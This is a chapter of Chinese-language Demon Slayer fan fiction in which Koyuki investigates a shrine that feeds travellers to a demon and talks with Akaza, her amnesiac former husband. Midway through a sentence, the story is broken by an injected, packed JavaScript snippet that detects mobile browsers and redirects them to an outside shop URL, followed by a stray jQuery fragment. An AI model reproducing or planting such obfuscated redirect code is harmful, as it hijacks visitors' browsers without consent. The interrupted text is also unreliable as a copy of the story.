8.你想让我帮你的话就叫我猗窝座
作品:《[鬼灭之刃/狛恋]重新攻略亡夫哥》 什么叫隐藏好感度,是指狛治失忆的事情吗?但现在看来,要唤醒他的记忆似乎并不容易。
比如眼下,她还没来得及深思那句提示,眼前人就已经——
“不要……不要再用那种悲哀的目光看着我,我不需要你的怜悯。”
他依然没有正视她,甚至完全将脸转过去,道:“你施加在我身上的同情和悲哀,令我很不自在……我不需要。”
“我的表情,令你以为是怜悯和同情吗?不过我没有怜悯你,也没有同情你。如果要说的话,说是怜惜或许更合适一些,”她原想说这一百年来你是如何度过呢,鬼舞辻无惨对你是否有许多压迫,又想到他如今无比的好胜,问了大约也是白问,最后那许多疑问只化作一句,“喜欢一个人当然就会对他产生怜惜之情,这不是很正常吗。”
看来劝他和她重新开始的话题,今天是无法进行下去了。
她仿佛玩笑般道:“而且我经历了那么多事情,有时候多愁善感一些也很正常,狛治哥哥你就体谅体谅我如何?”
晶莹清泪依然盈盈在她眼底,垂落时,如同洁白花瓣上垂下露水。山林密密阴暗,唯一一点光亮都在这一珠小小的泪中。
这个角度看不到他的眼神,只能看到那修长的睫一刻不停地颤抖着,腮也紧咬,苍白的侧脸浮出青筋一道。有一瞬间,他的侧颜微微颤动,似乎是想转过头来,而后,几乎是瞬息之间,上弦之三的身影就已从她眼前消失。
这是,落荒而逃了?
是她一口气说了太多,他一时缓不过来么?
明明从前两个人一直在那小小的房间中谈天,说锦鲤,说香道,说她从书中新读的文章,说他在庭前新剪的盆栽,忽然间,她在那一千句一万句里悄然夹带了一句,“狛治哥哥,我真喜欢你”,他再脸红,也从没有逃跑过。
算了,反正他也已经一句不落地将她的心意听清。今天不行,还有明天、后天,她并不认为他如今的心是一块顽石。
哪怕真是顽石,情之所至,难道不能金石为开么。
她还有任务在身呢。
穿过漫漫山林,前方豁然开朗,露出一线阳光。是通往神社的道路。
路边,歪倒着一尊小小的石佛。
大概是因为神社信仰变更,侍奉起了新的神灵,所以原来的菩萨被赶出来了吧。
恋雪半蹲而下,将它从荒草中扶正,双手合十,乌黑的睫垂下,口中轻声祈愿。菩萨,如果您在看着,就请……
*
任务中的神社坐落在山腰,树影深绿,鸟居朱红,行人拾阶而上,沿石头阶梯可以看到小心山地熊的手写指示牌。
有几个明显不是神职人员的人在阶上清扫落叶。是义工吗?
来前,她已经把日轮刀藏起。那系统中居然预留了空位来隐藏武器,实在很贴心。
穿越鸟居,手水舍净心,摇铃,投币,合掌拍手,深鞠躬,身穿便服的她看上去就和一个前来参拜的寻常人家小姐无异。
“今日前来参拜,我的心灵宛如得到了净化一般。请问神社目前有什么奉仕活动或志愿者工作吗,如果可以的话,我也很想在这里当义工帮忙。”
社务所内,神主和巫女接见了她。这间神社规模不大,是新近才有了知名度的小神社,一应事务,几乎都是神主和巫女在维持。
一位身世清白教养优雅的小姐提出要当义工,神主一口应下。
神主是一个中年男性,巫女则看起来只比她大几岁,二人身上都没有鬼的气息,而且也可以如常在阳光下活动。无论是神社原本的神职人员,还是诚心为了信仰劳动的义工们,似乎都很正常。
她已经在此处当了三天义工了。
清扫整备,园艺协助,帮忙制作注连绳和纸垂,工作并不繁重,而且神社内人际氛围甚好,和乐融融,一人遇到小小的困难,其余人很快就会来搭一把手。
如果非要说的话,这座神社内,只有那个“神”本身让她有点不舒服。
那是一尊很像千手观音的神。但观音慈航普度,常是优婉垂目,那神像却是森目圆睁,仿佛逼视来人。且不止千手,还有四张面孔,前后左右黏连为一体。洒扫时恋雪仰望此像,常感到一阵不适。
之前听蜜璃前辈略带伤怀地说起过伊黑先生的“家族”曾把蛇鬼当神灵供奉,难道……
但她察觉不到任何鬼的气息,神社内大半地点她也探查过,暂时没找到什么密道密室。
莫非失踪的香客真是因为附近有山地熊出没?
“素山小姐,不来抽签吗?就差你了哦。”
今天大家一起清扫了拜殿,清洁和参拜过后,朝雾巫女提出来抽签。
“来了!”恋雪接过签筒。
第一签,欲碾香轮去,高山千万重。是凶。
第二签,意坚无船渡,波深必误身。又是凶。
第三签,第四签,第五签,第六签,凶凶凶凶。
第七签,安居且虑危,情深主别离,风飘波浪急,鸳鸯各自飞。最不祥的大凶。
巫女见她接连抽出凶签,也是难得一遇的霉运了,安慰道:“素山小姐,有些事强求不来,抽出凶签也无妨,将凶签系于树上,厄运便不会再跟随你归宅。”
众人也都纷纷附和,是啊是啊,素山小姐,没事的,把凶签挂到树上就好,不用太执着。殿外日光下,参天的古木上已系满白签,风过境,如千千苍白手指,指向不归处的远方。
恋雪却道:“巫女大人,我能再抽一签吗?”
见她如此执着,巫女叹惋般一笑,作了个请的手势。
最后一签。
玉石未分时,忧心更难悲。前途终有道,花发应残枝。终于,抽到一签末吉。虽然只是末吉,但恋雪白皙面容上绽放出淡淡笑影。前方会出现道路,就像枯萎的残枝重新开出花朵。她所求之事能有这小小的吉象,已经够了。
和她一起做义工的大家看见这位与世无争的素山小姐为了一签末吉能一连摇七八次签筒,都有些刮目相看。文雅温婉的小姐,在某些地方却意外的执着啊。
“不好意思,我居然一连抽了七八回,呀,我刚回过神来,太失礼了,抱歉……”
“素山小姐是在祈求什么很重要的事情吗?”
“嗯,是很重要的事情。”一定要执着的,她偏要强求的,重要的事情。
“是在想着喜欢的人吗?”有人打趣。
“你这观点也太老旧吧,说不定素山小姐是在备考大学呢……”另一名学生模样的年轻女孩道。
恋雪笑着,求饶般向众人摇摇手:“心愿说出来不是不灵了吗,大家饶了我吧。”
她实在不擅长说谎。万一大家真有兴趣追问,即使用春秋笔法描述成我的丈夫失忆了现在可能在某处斗殴所以我要劝他从良,也十分骇人听闻呀。至于大学,过几年等一切结束后她会备考的——说起来,前几天信子还给她寄了信,让她下周末去女高师找自己玩。
如果下周末有空的话,就去赴约吧。其实她很向往现代的大学。
午后抽签在神社内泛起的小涟漪,很快归于无痕。
入夜,神社来了几个登山迷路的外乡人,神主暂时请他们在斋馆留宿。
没想到她追查之事,竟因为这几个登山客的到来暴露了迹象。
起初,她不过是想起傍晚时防熊的金属门栏似乎没人关闭,想前去关门。顺便再探查一番还有没有什么蹊跷之处,自己有所疏漏。
然而幽林中传来那位神主先生的声音。
是神主先生也来锁门吗?
“好几天了,我交代朝雾巫女你办的事情,你完全没办啊。”
“那几个外乡人死了正好,什么登山客,看他们的打扮根本就是流浪者吧,居然敢说自己是登山客……要是在大正之前的年代,这就是流民、流民!死了也不会有人在乎。”
“神主阁下,我不想再做这种事情了,这根本是不纯的信仰……!”
一声清脆的巴掌声响起。
“你说这种话是不想活了吗,小心神明大人听到!”
“明天就给那几个外乡人送上加了迷药的茶水,然后把他们引到神像后的地下室去吧。还有,只有那几个祭品不知道够不够,从新来的义工里也挑一两个……那个素山也是外地人吧。”
巫女没有应答。
片刻寂静后,林中响起女子低声的啜泣。
“你哭什么,真是晦气……要不是神明大人,这座神社早就废弃了,你也对‘祂’存有一些感激之心吧。凭你这个孤女,你以为你能维持这座祖传的神社吗……”
*
其实那个神主要带她去所谓的地下室,正合她意。这次任务前,蝶屋的孩子们给她塞了几瓶通用的解药,蒙汗药不值一提。不过那几个无辜的异乡客,她绝不能让他们送死。
但幽暗夜色中,朝雾巫女比恋雪先一步找上了那几人。
“神社经营困难,实在没有办法收留外人,请各位明天一早就离开吧。很抱歉在各位出发前也无法备下茶点送行。”
黯淡的灯火映着巫女深深鞠躬的瘦弱身影。
“巫女大人请快起来,神社收留我们一天我们已经很感激了,明天一早我们就会启程。”风霜满面的旅客箭步上前,将巫女扶起。
从斋馆的房间出来时,毫无疑问地,巫女看到了等在走廊上的恋雪。
“素山小姐还不就寝吗?”
白衣绯袴的巫女含着歉意一笑:“刚才的话,素山小姐想必也听到了吧。神社有些经济困难,其实……已经连义工的伙食都很难稳定提供。明天一早,还请素山小姐和做义工的大家也一同离去吧。”
庭前,石灯已经点起。夜樱飘洒,风吹花雪。经淡淡灯色一照,飞花如金粉朱屑,纷纷扬扬。
走廊下纤弱的女子忽然发问。
“巫女大人是决定自己一个人留下来对付那个所谓的神明吗?”
走在她身旁的巫女身形一顿,缓缓地、怔愣地转过头来。
“素山小姐,你……你是什么时候听到我和神主大人的……请务必三缄其口,不要对外人提起,天一亮就赶紧和大家下山去吧,”巫女隐忍再三,终于含泪道出真相,“这里已经不是神社了,是恶魔的巢穴。真是可耻啊,过了这么久我才鼓起勇气提醒大家……明明身为这座神社的巫女,我却如此失职,我……”
“那个东西大概不是什么恶魔,是鬼。关于鬼的事情,说来话长。不过巫女大人不用担心,我就是猎鬼人。”
“什么?”
“其实我是为了最近神社里有香客失踪的事情来的,我们怀疑这座神社内有鬼。如果那位神主说的‘送上祭品’,就是纵容所谓的神灵吃人的话,正是鬼无误了。”
恋雪恬淡一笑:“即使不是鬼,是别的什么妖怪,我大概也能对付。”
大概吧,如果世界上真有除了鬼以外的妖物的话,日轮刀应该也能斩除别的妖怪……不过说起来世上虽然有鬼,但从来没见过什么河童、酒吞、虎怪呢,河童和酒吞造型的鬼她以前倒是斩除了不少。当时蜜璃前辈还一直啧啧称奇说居然有把自己捯饬成秃头乌龟造型的鬼,真是古怪的审美。
“素山小姐,请您……请您一定要救救大家,救救这座我心爱的神社……”巫女握着恋雪纤长素净的手,如同在苦海中握住一束杨枝一般,依靠着她,身影缓缓滑坐下去。
“我会的,我会的,”恋雪连忙将她搀扶住,“请不要担心,我一定竭尽所能斩除那个邪物。”
灯光、花光、月光,庭中漫溢而上的光辉,皆如丝弦般在她鬓边闪烁着,描出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16921295|192271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她静谧优婉轮廓,一个文静纤秀的年轻女孩,如是坚定地承诺着。
*
“你做不到的,现在的你对付它太勉强了。”
“即使你让那个乌鸦去找支援也有一样,除非你把柱找来。不过他们赶来的路上还要花时间,根本来不及吧。”
斋馆房间内洒落一片月色,窗户开了。有人不知何时翻身而入。
“我对付有些勉强,但柱来的话就可以,是下弦吗?”
“谢谢你狛治哥哥,你又给我提供了情报。”恋雪拉上纸推门,回头对那人一笑。
他的冷嘲热讽,她居然说成是提供情报,猗窝座微微恼怒地啧了一声。
小小六叠半的一室中,盘腿坐在她对面的正是三日前的上弦鬼。泛青的肤,深蓝的刺青,一身锋芒难得收敛,偏过头,金瞳望着窗外月色。
“那个东西和曾经的下弦不太一样,”虽然它在他看来也不过是个杂碎弱者,但如果她非要和它对战,赢大概是能赢,一身重伤却是免不了的,“我言尽于此,你别怪我没和你说过。不想受伤的话,现在就快走吧,它估计也知道有个猎鬼人在这里了。”只要她求他,他带她离开此处也不是不可以。
也屈腿跪坐而下的女子却道:“既然如此,我更要在它伤人之前把它斩除了不是吗?”
“你还真是……”猗窝座的金瞳终于转目看向恋雪,“你是不是完全听不懂我在说什么?”
“狛治,你终于有勇气看我了吗。”
恋雪只是微微笑着。
居然需要三天才能鼓起勇气,狛治哥哥变成鬼之后,却比曾经胆怯许多。
她沉静的眸迎上他拧成一团的眉,笑颜不改。
三日前他不过是懒得和她胡搅蛮缠才离去,她怎么敢夸口说什么他没有勇气,她怎么敢……极其烦躁地,猗窝座将深蓝手指插入粉红短发中,胡乱地抓几下。
真是可笑,难道他就任她随意嘲弄取笑不成?
一息之间,那张俊美的脸已极度贴近恋雪,咫尺之隔。来势汹汹,他投下的阴影,如同幽蓝磷火般将她笼罩。
“恋雪小姐,什么叫我不敢看你?”鬼仿佛从容肆意地笑着,花豹般金瞳一转也不转地紧凝她。
四目相对,就连鼻尖也快要碰到一起。
她纤美的薄背却依然亭亭挺立,俨然是,飓风之下,波心不动。
只有她自己知道,她的心是如何潮涌。
“我还以为那天之后,狛治你跑远了呢。没想到你会专门来提醒我,谢谢你。”她莞尔。
眼前的女子微笑道:“你这样专注地看着我,虽然我有点害羞,可我也一样很开心。”
“你真是……”猗窝座咬牙切齿地挤出三个字来,后面的话,却是没影了。
战无不胜的上弦之三,只觉自己一次次在这个女人面前败下阵来。
当日一别,她似乎有所收敛,如他所愿,收起那令他不自在的悲悯目光。但没有泪水,没有怜悯,对上她盈盈笑眼,他的心依然异样地跳动着,无比烦躁。
对一个凡人堆里的佼佼者、可造之材,他向来只有猛兽挑中猎物的喜悦,唯有她,那喜悦之中平添了许多烦闷和恼恨。
难得觅到一个知晓那至高领域的玩伴,他怎么肯放她出离他的掌心?只好时不时看她几眼吧,她修行锤炼,他暗中端详她的进步,品评着,心生许多喜悦,她要帮助那些无能的弱者,他蔑笑一声,觉得她多管闲事、浪费时间,她不顾自身也要闯那难关,他的喜悦便逐渐逐渐消散了。
她说他们曾是少年恋人,他只感到巨大的痛苦沉沉压下,仿佛一旦深思,他便会从万丈深渊跌落。
在那寂静的山林里,那孤独的月色中,他真想划开百年来从未有过生机的胸膛,把那颗因她而斑驳不清的心掏出来看一看。
你真是,你真是什么?
他没说完,她却轻轻张开淡红的唇。
她纤长的手,轻轻覆上他冰凉的手,他指节分明的宽大的掌顷刻被她捧在手中。
“如果我对付那个下弦很勉强,鎹鸦请求支援也来不及的话,狛治哥哥你会帮我吗?”她柔声道。
不知沾染了多少血腥的杀人的手被女子白皙皎洁双手捧起,恶鬼的眸光一顿。
“我已经说过,不要用那个名字称呼我。”
这句话不过是为了掩饰他一瞬间的心跳。
但她当真改了口。
“好,请问猗窝座先生你会帮我吗?”她的花瞳中有一泓轻柔笑意。
叫狛治是哥哥,叫猗窝座却是先生吗。
如果不是那个所谓的狛治就是被他舍弃的、肉体凡胎时的名字,他一定会把所有叫狛治的人都挫骨扬灰。
猗窝座语气有淡淡的不屑:“你身上有那位大人赏识的东西,我还不至于让你去送死。当然,我也不会杀那个鬼,只能保证你不受伤不出事而已。”
那位大人交代过的任务,这一刻他终于在心中想起。
这三天他一直在暗处看着她,却一步也不曾上前,把她转化为鬼的事情,他竟已全然抛之脑后。哈,被那位大人知道的话,免不了七窍流血的责罚。
她这几天的一举一动,他全都知道。
什么抽签,什么重要的执着的事情,什么喜欢的人,什么夙世因缘,完全是……不值一提的,无聊的……她抽那御神签的时候,是不是因为他?
“再叫一次。”
“什么?”
“我的名字,猗窝座。你想让我帮你,就再叫一次我的名字。”
“好的,猗窝座先生。”她笑语盈盈,将他的名字再度重复。
猗窝座。千重万重的罪恶、憎恨和血腥从它的三个音节上奔涌而过。她当真知道吗?
他看见她沉静花瞳照出他的面容,从前世到今生。

